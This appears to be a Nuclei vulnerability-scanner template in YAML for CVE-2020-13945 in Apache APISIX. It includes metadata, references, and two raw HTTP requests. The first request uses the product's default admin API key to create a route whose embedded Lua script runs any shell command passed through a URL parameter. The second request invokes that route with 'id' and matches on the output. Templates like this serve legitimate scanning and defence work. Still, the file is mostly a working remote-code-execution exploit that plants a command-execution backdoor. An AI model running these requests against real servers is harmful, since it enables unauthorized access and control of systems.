70 lines
2.7 KiB
YAML
70 lines
2.7 KiB
YAML
id: CVE-2020-13945
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info:
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name: Apache APISIX - Insufficiently Protected Credentials
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author: pdteam
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severity: medium
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description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
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impact: |
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The vulnerability could result in unauthorized access to sensitive information, leading to potential data breaches or unauthorized actions.
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remediation: |
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Upgrade to the latest version of Apache APISIX, which includes a fix for the vulnerability. Additionally, ensure that sensitive credentials are properly protected and stored securely.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
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- https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
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- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2020-13945
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cwe-id: CWE-522
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epss-score: 0.00587
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epss-percentile: 0.7581
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cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: apache
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product: apisix
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tags: cve2020,cve,intrusive,vulhub,packetstorm,apache,apisix
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http:
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- raw:
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- |
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POST /apisix/admin/routes HTTP/1.1
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Host: {{Hostname}}
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X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
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Content-Type: application/json
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{
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"uri":"/{{randstr}}",
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"script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
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"upstream":{
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"type":"roundrobin",
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"nodes":{
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"interact.sh:80":1
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}
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}
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}
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- |
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GET /{{randstr}}?cmd=id HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '"action":"create"'
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- '"script":'
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- '"node":'
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condition: and
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- type: status
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status:
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- 201
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extractors:
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- type: regex
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regex:
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- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
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# digest: 4a0a00473045022100d9b6fcf3232f31eb3c411a2c638b872d6af2bbb29f7c6f398b571b52366c8aa402203775dae5af007fd81054fb2fd5b75a068ba9a7f6c97202484a96fc0853fd7fbe:922c64590222798bb761d5b6d8e72950 |